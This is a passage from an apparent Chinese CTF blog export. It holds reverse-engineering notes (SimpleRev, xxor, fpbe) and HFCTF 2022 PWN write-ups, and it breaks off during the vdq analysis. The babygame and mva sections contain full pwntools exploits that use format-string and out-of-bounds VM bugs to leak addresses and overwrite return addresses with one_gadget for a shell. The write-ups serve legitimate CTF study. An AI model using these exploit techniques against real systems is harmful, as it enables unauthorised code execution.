以及下面的if判断条件过于难以理解,不妨试着用OD去动调一下吧(个人觉得OD的动调会更好用一些,也好在这个函数没有被加密,OD还是能分析出来的,否则只能用IDA动调了,虽然没什么差别……)\n​\n        即便用OD动调也仍然不是很容易能够读懂其意义 \n        关键的比较在401617处,如果相等的话,就说明flag输对了\n        大致就是取flag的第几位同“**%tp&:**”几位,相等即可;并且这正好是5个字节,很可能就是剩下的flag\n        但汇编代码中似乎也同样没有相应的加密过程,只能靠猜测它没有被复杂的加密\n        通过前半段的flag猜测最后一个字符应该为‘}’,将其与“**%tp&:**”的最后一个异或后得到 71,并由此得到最后结果\nchar key2[] = "%tp&:";int v5 = '}' ^ key2[4];for (int i = 0; i < 5; i++){cout << (char)(key2[i] ^ v5);}//flag{d07abccf8a410cb37a}\n\n\n        我也试着将这个提交成功的flag输入进去,但它仍然不会输出成功的标识,可能是出题人的一点“恶意”吧……最后要靠猜测来得到结果,说实在的,有点难以释然,总觉得是不是自己看漏了什么重要内容…… ​\n插画ID:90713460\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"BUUCTF-RE-SimpleRev笔记与思考","url":"/2021/04/24/buuctfre-simplerev/","content":"封面ID: 89209550\n背景:\n    初学逆向,遇到的最大问题是“在知道原算法的情况下要如何得出逆算法”;一般的加减乘除确实只需要做相反操作即可,但对于异或和取余等运算则有些麻烦,于是试着写一些可能的解决方案。似乎是数论的内容,但题主目前还未学到那种程度,诸多密码学内容尚且不明,所以以后再作更新。\n​\n    题目本身是个简单的入门题,在逻辑上并没有难点。\n    (如下是IDA反编译Decry函数的伪代码,可能会因版本不同而略有差错)\nunsigned __int64 Decry(){ char v1; // [rsp+Fh] [rbp-51h] int v2; // [rsp+10h] [rbp-50h] int v3; // [rsp+14h] [rbp-4Ch] int i; // [rsp+18h] [rbp-48h] int v5; // [rsp+1Ch] [rbp-44h] char src[8]; // [rsp+20h] [rbp-40h] BYREF __int64 v7; // [rsp+28h] [rbp-38h] int v8; // [rsp+30h] [rbp-30h] __int64 v9[2]; // [rsp+40h] [rbp-20h] BYREF int v10; // [rsp+50h] [rbp-10h] unsigned __int64 v11; // [rsp+58h] [rbp-8h] v11 = __readfsqword(0x28u); *(_QWORD *)src = 0x534C43444ELL; v7 = 0LL; v8 = 0; v9[0] = 0x776F646168LL; v9[1] = 0LL; v10 = 0; text = (char *)join(key3, v9); strcpy(key, key1); strcat(key, src); v2 = 0; v3 = 0; getchar(); v5 = strlen(key); for ( i = 0; i < v5; ++i ) { if ( key[v3 % v5] > 64 && key[v3 % v5] <= 90 ) key[i] = key[v3 % v5] + 32; ++v3; } printf("Please input your flag:"); while ( 1 ) { v1 = getchar(); if ( v1 == 10 ) break; if ( v1 == 32 ) { ++v2; } else { if ( v1 <= 96 v1 > 122 ) { if ( v1 > 64 && v1 <= 90 ) { str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97; ++v3; } } else { str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97; ++v3; } if ( !(v3 % v5) ) putchar(32); ++v2; } } if ( !strcmp(text, str2) ) puts("Congratulation!\\n"); else puts("Try again!\\n"); return __readfsqword(0x28u) ^ v11;}\n\n\n主要逻辑:\n    顺逻辑:①获取text字数数组;②获取key数组;③将key数组中大写换为小写;④获取输入,通过key数组进行运算得到str2;⑤将text与str2比较,得出对错。\n    逆逻辑:①将text与str2进行比较;②获取str2(可知str2为输入,text为密文);③置换key数组得到新key;④得到原key;⑤得到text\nchar text[] = "killshadow";\n\n\nchar key[] = "adsfkndcls";\n\n\n    如上可以较为轻松的得出最终的key和text数组,那么关键只剩下如何通过逆运算得出明文了。\n如下代码为主要逻辑:\nwhile ( 1 ) { v1 = getchar(); if ( v1 == 10 ) break; if ( v1 == 32 ) { ++v2; } else { if ( v1 <= 96 v1 > 122 ) { if ( v1 > 64 && v1 <= 90 ) { str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97; ++v3; } } else { str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97; ++v3; } if ( !(v3 % v5) ) putchar(32); ++v2; } }\n\n\n运算规则:\n    输入一个字符 ’x‘,进行如下运算:(x-39-key[v3%v5]+97)%26+97\n   关键问题便是应该如何处理取余运算的逆运算以得到x。\n逆算法:\nfor (int i = 0;i<10; i++){ for (int j=0;j<5;j++) { str[i] = (text[i] - 97)+j*26+39+key[v3%v5]-97; if (str[i] >= 65 && str[i] <= 90) { v3++; break; } }}\n\n\n    翻阅了其他师傅们的WP,并没有特地说明为什么输入值都是字符,暂且当作是一种根据结果(密文只有字符)而来的猜测。\n    以下为一般的取模逆算法:\n\n\n\n    上述的B即为本体求解的flag。\n\n\n\n    最终做法为:遍历 i ,当结果符合“字符要求”时则保存该字符。(但我给出的脚本并没有包括小写范围,实际上并不影响,如果答案不符合只需要再加额外的判断条件即可)\n    本题还有一个比较特别的地方,在拼接text的时候,如果只通过手动运算,有可能会出错。\n​\n    这些字符明显和结果是逆序的,由于我是直接抄出了join函数的实现所以做题的时候并没有遇到这个问题,但事后才发现还有还存在这种问题。\n    起因来自Intel架构中的小端序存储方式,具体内容不在此赘述,从结论上来说便是所看到的与实际结果将成逆序。\n","categories":["CTF题记","Note"]},{"title":"GWCTF 2019 - xxor 笔记与思考","url":"/2021/05/14/gwctf-2019-xxor/","content":"插图ID : 85072434\n对我这种新手来说算是比较怪异的一题了,故此记录一下过程。\n解题过程:\n    直接放入IDA,并找到main函数,得到如下代码(看了一些其他师傅的WP,发现我们的IDA分析结果各不相同,最明显的就是HIDOWRD和LODWORD函数,该差异将在下文分析)\n__int64 __fastcall main(int a1, char **a2, char **a3){ int i; // [rsp+8h] [rbp-68h] int j; // [rsp+Ch] [rbp-64h] __int64 v6[6]; // [rsp+10h] [rbp-60h] BYREF __int64 v7[6]; // [rsp+40h] [rbp-30h] BYREF v7[5] = __readfsqword(0x28u); puts("Let us play a game?"); puts("you have six chances to input"); puts("Come on!"); v6[0] = 0LL; v6[1] = 0LL; v6[2] = 0LL; v6[3] = 0LL; v6[4] = 0LL; for ( i = 0; i <= 5; ++i ) { printf("%s", "input: "); a2 = (v6 + 4 * i); __isoc99_scanf("%d", a2); } v7[0] = 0LL; v7[1] = 0LL; v7[2] = 0LL; v7[3] = 0LL; v7[4] = 0LL; for ( j = 0; j <= 2; ++j ) { tmp1 = v6[j]; tmp2 = HIDWORD(v6[j]); a2 = &unk_601060; sub_400686(&tmp1, &unk_601060); LODWORD(v7[j]) = tmp1; HIDWORD(v7[j]) = tmp2; } if ( sub_400770(v7, a2) != 1 ) { puts("NO NO NO~ "); exit(0); } puts("Congratulation!\\n"); puts("You seccess half\\n"); puts("Do not forget to change input to hex and combine~\\n"); puts("ByeBye"); return 0LL;}\n\n\n逻辑分析:\n    分别输入 六个字符串 ,作v6用于储存输入,v7用于储存结果\n    在一个for循环中,将v6的数据一个个保存入tmp,并根据unk_601060的密码表进行sub_400686函数加密并放入v7\n    在sub_400770函数中比较 v7 和结果是否吻合(多余参数a2为IDA分析差错的结果,此处忽略不影响解题)\n    首先进入sub_400770以获取结果:\nunsigned int a1[6] = { 3746099070,550153460, 3774025685 ,1548802262 ,2652626477 ,2230518816 };\n\n\n注意点①:\n    刚入门逆向的臭毛病是习惯Hide casts隐藏指针以清晰代码方便阅读的,但在本题中,倘若不留意类型而直接隐藏,在IDA窗口中将得到这样的数据:\n//未隐藏指针的代码:注意到 v7 应该是一个unsigned int 数组 if ( (unsigned int)sub_400770(v7, a2) != 1 ) { puts("NO NO NO~ "); exit(0); }\n\n\nif ( a1[2] - a1[3] == 2225223423LL && a1[3] + a1[4] == 4201428739LL && a1[2] - a1[4] == 1121399208LL && *a1 == -548868226 && a1[5] == -2064448480 && a1[1] == 550153460 )\n\n\n    显然,这些数据并不是标准的unsigned int类型,在获取这些数据时应从汇编窗口逐个获取并计算,且存放数组使用相应的类型\n.text:00000000004007D0 mov [rbp+var_8], rax.text:00000000004007D4 mov eax, 84A236FFh.text:00000000004007D9 cmp [rbp+var_18], rax.text:00000000004007DD jnz short loc_400845.text:00000000004007DF mov eax, 0FA6CB703h.text:00000000004007E4 cmp [rbp+var_10], rax.text:00000000004007E8 jnz short loc_400845.text:00000000004007EA cmp [rbp+var_8], 42D731A8h.text:00000000004007F2 jnz short loc_400845.text:00000000004007F4 mov rax, [rbp+var_28].text:00000000004007F8 mov eax, [rax].text:00000000004007FA cmp eax, 0DF48EF7Eh.text:00000000004007FF jnz short loc_400834.text:0000000000400801 mov rax, [rbp+var_28].text:0000000000400805 add rax, 14h.text:0000000000400809 mov eax, [rax].text:000000000040080B cmp eax, 84F30420h.text:0000000000400810 jnz short loc_400834.text:0000000000400812 mov rax, [rbp+var_28].text:0000000000400816 add rax, 4.text:000000000040081A mov eax, [rax].text:000000000040081C cmp eax, 20CAACF4h\n\n\n    来到进行加密的for循环处:\nfor ( j = 0; j <= 2; ++j ) { tmp1 = v6[j]; tmp2 = HIDWORD(v6[j]); a2 = (char **)&unk_601060; sub_400686(&tmp1, &unk_601060); LODWORD(v7[j]) = tmp1; HIDWORD(v7[j]) = tmp2; }\n\n\n    可以注意到,IDA中并没有为tmp1、tmp2声明变量(实际上,它们本不是这个名字,但为了方便阅读而被我改成了这个名字;从汇编窗口可以知道它们均为4个字节的变量(int))\nunsigned int a1[6] = { 3746099070,550153460, 3774025685 ,1548802262 ,2652626477 ,2230518816 };int tmp1, tmp2;tmp1 = LODWORD(a1[0]);// -548868226tmp2 = HIDWORD(a1[1]);// 550153460\n\n\n    如上代码展示了LODWORD和HIDWORD的结果,乍一看似乎相当不同,但实际上这不过是一种比较别扭的写法罢了\n    注意到tmp2的结果和a1[1]相同,而将a1[0]的类型换为int之后也将得到与tmp1相同的结果,也就是说,这两个函数并没有起到任何作用,只是做了简单的赋值罢了\n    (尽管我想说具体问题具体分析,但倘若使用的是LOBYTE和HIBYTE的话,结果就将彻底不同了。但通常来说,出题人并不会特地去这样写,至少一般来说,并没有LODWORD这样的函数)\n注意点②:\n.text:0000000000400984 add [rbp+var_64], 2\n\n\n    该汇编代码为for循环中对变量 j 的操作\n    在C伪代码中可以看见为 **j++**,而在汇编中的结果显然应该是 j+=2,所以过于依赖伪代码的话在编写解密脚本时将遇到麻烦\n    因此我们可以知道,这个循环每次获取 v6 中的两个进行加密并放入\n    最后是加密函数本身:\n__int64 __fastcall sub_400686(unsigned int *a1, _DWORD *a2){ __int64 result; // rax unsigned int v3; // [rsp+1Ch] [rbp-24h] unsigned int v4; // [rsp+20h] [rbp-20h] int v5; // [rsp+24h] [rbp-1Ch] unsigned int i; // [rsp+28h] [rbp-18h] v3 = *a1; v4 = a1[1]; v5 = 0; for ( i = 0; i <= 0x3F; ++i ) { v5 += 1166789954; v3 += (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 0x20; v4 += (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 0x10; } *a1 = v3; result = v4; a1[1] = v4; return result;}\n\n\n    (应该记得,形参a1为输入流v6,a2为加密表{2,2,3,4}(DWORD类型数组每4字节一个,应将中间的0省略))\n    分别获取 v3为第一个数组,v4为第二个数字,v5为一个轮替变量\n    经过一个for循环后,将结果放回原数组\n    通过如上分析,应该就能写出差不多的解密脚本了,但还是有一些细节,这里也不好再多叙述,便就此打住吧\n解密脚本:\n#include<iostream>using namespace std;int main(){unsigned int a1[6] = { 3746099070,550153460, 3774025685 ,1548802262 ,2652626477 ,2230518816 };unsigned int table[4] = { 2,2,3,4 };unsigned int decode[6];int v5 = 1166789954 * (0x3F+1);unsigned int v3, v4;for (int i = 0; i <= 5; i+=2){int v5 = 0x458BCD42 * 64;v3 = a1[i];v4 = a1[i + 1];for (int j = 0; j <= 0x3F; j++){v4 -= (v3 + v5 + 20) ^ ((v3 << 6) + table[2]) ^ ((v3 >> 9) + table[3]) ^ 0x10;v3 -= (v4 + v5 + 11) ^ ((v4 << 6) + table[0]) ^ ((v4 >> 9) + table[1]) ^ 0x20;v5 -= 0x458BCD42;}decode[i] = v3;decode[i + 1] = v4;}for (int i = 0; i < 6; i++){printf("%x", decode[i]);//666c61677b72655f69735f6772656174217d}}\n\n\n注意点③:\n    最终得到的decode数组便是flag,但由于VS默认显示为10进制数,所以应该将结果输出为16进制数并另外进行转换\nunsigned int decode[6]={6712417, 6781810, 6643561, 7561063, 7497057, 7610749};\n\n\n​\n","categories":["CTF题记","Note"]},{"title":"HFCTF-2022 - TokameinE-二进制复现报告","url":"/2022/03/26/hfctf-2020-toka/","content":"前言姑且参加了比赛,赛题感觉都不错,适当做了个复现。PWN那边还有一道内核没复现,主要是受限于目前笔者的技术水平,内核部分的知识还不太够用,以后有机会了会另外复现的。\n最有意思的题目应该是 vdq 那题,属于是佩服做出来的师傅,那个最终的 payload 构造花了我一整天时间,整道题做了有两天半……怎么说呢,好痛苦啊。\n另外 fpbe 和 mva 也挺好玩的,前者主要是给我科普了一波 ebpf ,后者主要是笔者觉得自己写的 exp 挺精巧的,自我感觉还行。不过博客的模板似乎不识别五级标题,看着确实有点不舒服了……\n也欢迎师傅们捉虫。\nREVfpbe第一次接触ebfp的逆向,才知道其原理和分析方式(上次D3的那题ebfp没看)。\n主要逻辑只有几行:\nerr = uprobed_function(*array, array[1], array[2], array[3]); if ( err == 1 ) printf("flag: HFCTF{%s}\\n", flag, &flag[12], v7, v8, v9, argv);else puts("not flag");\n\n但比赛的时候因为对ebfp的执行逻辑不熟悉,以及IDA动调的时候没能真正模拟其执行流,以至于没能顺利写完这道逆向签到题。\n执行逻辑ebfp通过bpf_program__attach_uprobe将上述uprobed_function函数hook掉了:\nskel->links.uprobe = bpf_program__attach_uprobe( skel->progs.uprobe, 0, 0, "/proc/self/exe", uprobed_function - base_addr);\n\n当程序执行uprobed_function函数时,会通过内核的系统调用转移到hook的函数去。\n跟踪skel向下:\nfpbe_bpf__open_and_load->fpbe_bpf__open->fpbe_bpf__open_opts->fpbe_bpf__create_skeleton\n\nfpbe_bpf__create_skeleton中创建uprobe的具体内容如下:\nif ( s->progs ){ s->progs->name = "uprobe"; s->progs->prog = &obj->progs.uprobe; s->progs->link = &obj->links.uprobe; s->data_sz = 1648LL; s->data = &unk_4F4018; result = 0;}\n\n其中data是最终的执行代码,size为对应比特大小。接下来用gdb将其加载到内存,然后就可以用bpftool去dump出具体内容了:(有删减)\n 0: (79) r2 = *(u64 *)(r1 +104) //flag[2] 3: (79) r3 = *(u64 *)(r1 +112) //flag[3] 6: (bf) r4 = r3 7: (27) r4 *= 28096 8: (bf) r5 = r2 9: (27) r5 *= 64392 10: (0f) r5 += r4 11: (79) r4 = *(u64 *)(r1 +96) //flag[1] 14: (bf) r0 = r4 15: (27) r0 *= 29179 16: (0f) r5 += r0 17: (79) r1 = *(u64 *)(r1 +88) //flag[0] 24: (bf) r0 = r1 25: (27) r0 *= 52366 26: (0f) r5 += r0 27: (b7) r6 = 1 28: (18) r0 = 0xbe18a1735995 30: (5d) if r5 != r0 goto pc+66//0xbe18a1735995 == flag[0]*52366 + flag[1]*29179 + flag[2]*64392 + flag[3]*28096 31: (bf) r5 = r3 32: (27) r5 *= 61887 33: (bf) r0 = r2 34: (27) r0 *= 27365 35: (0f) r0 += r5 36: (bf) r5 = r4 37: (27) r5 *= 44499 38: (0f) r0 += r5 39: (bf) r5 = r1 40: (27) r5 *= 37508 41: (0f) r0 += r5 42: (18) r5 = 0xa556e5540340 44: (5d) if r0 != r5 goto pc+52//0xa556e5540340 == flag[0]*37508 + flag[1]*44499 + flag[2]*27365 + flag[3]*61887 45: (bf) r5 = r3 46: (27) r5 *= 56709 47: (bf) r0 = r2 48: (27) r0 *= 32808 49: (0f) r0 += r5 50: (bf) r5 = r4 51: (27) r5 *= 25901 52: (0f) r0 += r5 53: (bf) r5 = r1 54: (27) r5 *= 59154 55: (0f) r0 += r5 56: (18) r5 = 0xa6f374484da3 58: (5d) if r0 != r5 goto pc+38//0xa6f374484da3 == flag[0]*59154 + flag[1]*25901 + flag[2]*32808 + flag[3]*56709 59: (bf) r5 = r3 60: (27) r5 *= 33324 61: (bf) r0 = r2 62: (27) r0 *= 51779 63: (0f) r0 += r5 64: (bf) r5 = r4 65: (27) r5 *= 31886 66: (0f) r0 += r5 67: (bf) r5 = r1 68: (27) r5 *= 62010 69: (0f) r0 += r5 70: (18) r5 = 0xb99c485a7277 72: (5d) if r0 != r5 goto pc+24//0xb99c485a7277 == flag[0]*62010 + flag[1]*31886 + flag[2]*51779 + flag[3]*33324 \n\n最后解一下上述方程组即可拿到flag。\nPWNbabygame栈溢出先把srand的种子写掉,顺便泄露一个栈地址,然后就能算出之后的返回地址在栈中的位置了。然后用格式化字符串把返回地址写掉,再来一次格式化字符串。途中也顺便泄露一个libc地址,然后就能算出libc基址了,加上one_gadget再写回返回地址即可。\nfrom pwn import *import randomfrom ctypes import *context.log_level='debug'context.arch = "x86_64"#p=process("./babygame",env={'LD_PRELOAD':'./libc-2.31.so'})p=remote("120.25.205.249",37062)#elf=ELF("./babygame")libc = cdll.LoadLibrary('libc.so.6')#gdb.attach(p,"b*$rebase(0x1435)\\nc\\n")sla=lambda a,b:p.sendlineafter(a.encode(),b)sa=lambda a,b:p.sendafter(a.encode(),b)sa("name:","a"*256+"a"*8+"a")p.recvuntil("Hello, ")leakdata=p.recvuntil("\\x0a")[-15:-1]print((leakdata))canary=u64(leakdata[:-6].ljust(8,"\\x00"))-0x61stack_test=u64(leakdata[8:].ljust(8,"\\x00"))print(hex(canary))print(hex(stack_test))ogd=[0xe3b2e,0xe3b31,0xe3b34]libc.srand(0x61616161)p.recvuntil("paper")sleep(1)for i in range(100): temp=libc.rand()%3 print("now temp:"+hex(temp)) if(temp==0): temp=1 elif(temp==1): temp=2 elif(temp==2): temp=0 sla("round",str(temp))offset=6stack_ret=stack_test+(0x7ffcbd0edfd8-0x7ffcbd0ee1f0)print(hex(stack_ret))sleep(2)payload="%62c"+"%8$hhn"+"%9$p%p"+p64(stack_ret)sla("luck",payload)sleep(2)p.recvuntil("0x")data=int("0x"+(p.recv(12)),16)print(hex(data))libc_base=data-(0x7fead012bd0a-0x7fead00ca000)print(hex(libc_base))one_gad=libc_base+ogd[1]payload = fmtstr_payload(6, {stack_ret: one_gad},write_size='byte')sla("luck",payload)p.interactive()\n\ngogogo这题没做出来实属不应该,真没想到出题人会用这么恶心人的方式混淆(指一个个字符打印,以及拐弯抹角地硬是把简单的栈溢出藏在尾巴,搞得我这种习惯从上往下分析的累得半死不活,还以为漏洞肯定会在那个选择输入或输出的地方,属实是被整无语了)……\n主要是 golang 中传参的方式不太一样,其中有几个值得注意的输入函数,在我们恢复传参符号以后可以看见:\nfmt_Fscanf("%d");bufio___ptr_Reader__Read(qword_5514E0, v4, 0x200);bufio___ptr_Reader__Read(qword_5514E0, buf, 0x800);bufio___ptr_Reader__Read(qword_5514E0, v63, 0x20);\n\n\n只需要在 IDA 中将这下函数的参数列表设定好,重新反编译即可看见。因为 golang 的传参方式和常规的 x86_64 不太一样,所以默认情况下 IDA 没有正常识别的参数。\n\n然后就能注意到,有一个输入的长度是 0x800,而 buf 直接被 IDA 识别到了:\nchar buf[8]; // [rsp+70h] [rbp-460h] BYREF\n\n而 buf 下面也没有很多缓冲区,所以直接让程序执行到这里,然后正常用 ROP 拿 shell 即可。\n顺便一提,真正的主函数是 math_init 函数,出题人拐弯抹角的弄了很多混淆视听的东西。\n输入序列如下:\n\n1416925456\n通过游戏\nE\n4\npayload\n\nexp 没太多技术含量,主要就是需要去跑那个小游戏,网上搜一下就能找到脚本了,所以这里就不放了。\nmva程序分析逻辑很简单,输入虚拟机字节码然后就会开始执行了。注意到 IDA 打开之后分析的错误,通过汇编就能发现是由于 switch 的优化符号表导致,适当修复符号表后可以得到如下反汇编代码:\nwhile ( v5 ){ v7 = sub_11E9(); v6 = HIBYTE(v7); if ( v6 > 0xFu ) break; if ( v6 <= 0xFu ) { switch ( v6 ) { case 0u: // nop v5 = 0; goto LABEL_102; case 1u: // ldr reg,val if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = v7; goto LABEL_102; case 2u: // add if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) + *(&reg + v7); goto LABEL_102; case 3u: // sub if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) - *(&reg + v7); goto LABEL_102; case 4u: // and if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) & *(&reg + v7); goto LABEL_102; case 5u: // or if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) *(&reg + v7); goto LABEL_102; case 6u: // shr if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE2(v7)) >> *(&reg + SBYTE1(v7)); goto LABEL_102; case 7u: if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) ^ *(&reg + v7); goto LABEL_102; case 8u: JUMPOUT(0x1780LL); case 9u: // push if ( espr > 256 ) exit(0); if ( BYTE2(v7) ) stack[espr] = v7; else stack[espr] = reg; ++espr; goto LABEL_102; case 0xAu: // pop if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( !espr ) exit(0); *(&reg + SBYTE2(v7)) = stack[--espr]; goto LABEL_102; case 0xBu: v8 = sub_11E9(); if ( v4 == 1 ) dword_403C = v8; goto LABEL_102; case 0xCu: // cmp if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); v4 = *(&reg + SBYTE2(v7)) == *(&reg + SBYTE1(v7)); goto LABEL_102; case 0xDu: // mul if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) * *(&reg + v7); goto LABEL_102; case 0xEu: // mov if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 ) exit(0); *(&reg + SBYTE1(v7)) = *(&reg + SBYTE2(v7)); goto LABEL_102; case 0xFu: // print stack printf("%d\\n", stack[espr]); goto LABEL_102; default: goto LABEL_103; } }}\n\n除了字节码为 0x8 的指令外,基本都分析出来了。代码并不复杂,说是虚拟机其实也并没有做非常复杂的封装,基本上不会有阅读障碍,不过由于 IDA 自带的一些宏定义不太方便理解,这里以 ldr 指令为例:\n.text:0000000000001421 movsx eax, [rbp+var_249].text:0000000000001428 cdqe.text:000000000000142A movzx edx, [rbp+var_23E].text:0000000000001431 mov word ptr [rbp+rax*2+reg], dx\n\nvar_249 处是目标寄存器编号,var_23E 处是目标操作数。这种写法经由 IDA 表现为 SBYTE2 ,所以如果觉得阅读不顺,可以直接通过汇编理解。\n漏洞分析注意到像是 add 或者 sub 这种有三个操作数的指令都会先检测操作数是否合法,而 mul 指令却没有:\ncase 0xDu: // mul if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) * *(&reg + v7);\n\n该指令只检查了目标寄存器和源寄存器中的一个,举例来说就是\n\nmul r3,r2,r1\n\n只检查了 r3 和 r1。因此 r2 的值可以越界读取(oob read)。\n类似的,mov指令也是如此:\ncase 0xEu: // mov if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 ) exit(0); *(&reg + SBYTE1(v7)) = *(&reg + SBYTE2(v7)); goto LABEL_102;\n\n其没有检查高位,即可以使得目标操作数向负数溢出,类似于:\n\nmov r1,r2\n\nr1 和 r2 都不能超过 4 ,但 r1 有可能是负数,存在越界写(oob write),不过需要注意,这个只能向低地址越界,因此利用仍然有限。\n由此一来基本也能有利用思路了:\n\n通过越界读以及打印栈数据泄露 libc_base\n通过越界写控制执行流\n\nAttack Test首先我们需要尝试泄露地址,通过 mul 指令向上读取一块 libc 中的地址:\npayload+=ldr(0x1)+mul(0,-0x12+4,0)+push(1)payload+=ldr(0x1)+mul(0,-0x12+5,0)+push(1)payload+=ldr(0x1)+mul(0,-0x12+6,0)+push(1)\n\n通过 ldr 指令将 1 加载到 r0,然后用 mul 读取上方地址之后乘以 1 仍为原数,将其放入栈中,重复三次就能完整的得到一个地址。\n但需要注意,接下来我们似乎理所应当地要用 print 把栈中数据打印出来,笔者开始也这么想,但如果您这么做了,就意味着接下来需要写返回地址为 main 函数,那么您本次就应该泄露 ELF 基址,然后通过多次返回来利用,这很麻烦,对吗?\n于是笔者换了一个思路,既然它已经读到了一块地址,我们能不能直接让它自己算出 one_gadget 的地址?这样我们直接写返回地址到 one_gadget 就能一次性拿下了,能省去很多麻烦。\n因此接下来我们直接在虚拟机里计算地址:\npayload+=pop(1)payload+=pop(2)+ldr(0x11)+sub(2,2,0)payload+=pop(3)+ldr(0xBB10)+add(3,3,0)\n\n既然已经有了地址,接下来就只需要完成返回地址覆盖即可:\n#esp=0x800000000000010cpayload+=ldr(0x010C)+mv(0,-10)payload+=ldr(0x0000)+mv(0,-9)payload+=ldr(0x0000)+mv(0,-8)payload+=ldr(0x8000)+mv(0,-7)payload+=mv(3,0)+push(1)+mv(2,0)+push(1)+mv(1,0)+push(1)\n\n将虚拟机中的 esp 改为 0x800000000000010c 来绕过其数值检查,而在写内存时会通过乘以 2 的方式导致整数溢出:\nmov [rbp+rax*2+stack], dx\n\n最后只需要正常的将我们已经放在寄存器中的返回地址一次覆盖返回地址即可。\n完整EXP:\nfrom pwn import *context.log_level='debug'p=process("./mva",env={'LD_PRELOAD':'./libc-2.31.so'})elf=ELF("./mva")libc=elf.libc#gdb.attach(p,"b*$rebase(0x17DC)\\n")def pack(op:int, p1:int = 0, p2:int = 0, p3:int = 0) -> bytes: return (op&0xff).to_bytes(1,'little') + \\ (p1&0xff).to_bytes(1,'little') + \\ (p2&0xff).to_bytes(1,'little') + \\ (p3&0xff).to_bytes(1,'little')def ldr(val):#2 byte return pack(0x01, 0, val >> 8, val)def add(p1, p2, p3): return pack(0x02, p1, p2, p3)def sub(p1, p2, p3): return pack(0x03, p1, p2, p3)def shr(p1, p2): return pack(0x06, p1, p2)def xor(p1, p2, p3): return pack(0x07, p1, p2, p3)def push(p1): return pack(0x09, 0,0,p1)def pop(p1): return pack(0x0a, p1)def mul(p1, p2, p3):#leak return pack(0x0D, p1, p2, p3)def mv(p1, p2): return pack(0x0E, p1, p2)def sh(): return pack(0x0F)payload=b''payload+=ldr(0x1)+mul(0,-0x12+4,0)+push(1)payload+=ldr(0x1)+mul(0,-0x12+5,0)+push(1)payload+=ldr(0x1)+mul(0,-0x12+6,0)+push(1)payload+=pop(1)payload+=pop(2)+ldr(0x11)+sub(2,2,0)payload+=pop(3)+ldr(0xBB10)+add(3,3,0)payload+=ldr(0x010C)+mv(0,-10)payload+=ldr(0x0000)+mv(0,-9)payload+=ldr(0x0000)+mv(0,-8)payload+=ldr(0x8000)+mv(0,-7)payload+=mv(3,0)+push(1)+mv(2,0)+push(1)+mv(1,0)+push(1)payload=payload.ljust(0x100,b'\\0')p.sendline(payload)p.interactive()\n\n\n但请注意,这个 exp 并不是百分比成功。由于每次运算只能对两字节进行,因此在低位进行运算时可以向上溢出一位,导致第二个地址和期望地址差了 1 ,但这属于误差,多跑几次就能成功。\n\nvdq逻辑分析二进制程序是由rust写的,IDA的反编译结果显得非常混乱。跑起来后没有提示任何操作,只能根据IDA推测其提供的服务。根据函数名,我们能够大致推测出程序的逻辑,main函数的主要代码只有两行:\nvdq::get_opr_lst::h470c4d46db5f8252(&v0);//读取oprvdq::handle_opr_lst::h7fb2393547b96358(v1.buf.alloc.gap0);//处理opr\n\n进入get_opr_lst之后,注意到如下代码:\ncore::result::Result<alloc::vec::Vec<vdq::Operation>,serde_json::error::Error> v29;serde_json::de::from_str::h2ed086b1a84205ca(&v29, v12);\n\n因此我们就可以推测,程序提供了一个反序列化服务,v29是其对象。接下来就向下搜索反序列化的关键字和翻译格式。顺着如下函数向下搜索:\n vdq::get_opr_lst::h470c4d46db5f8252(&v0); serde_json::de::from_str::h2ed086b1a84205ca(&v29, v12); serde_json::de::from_trait::h010df4f45829b4ad(retstr, 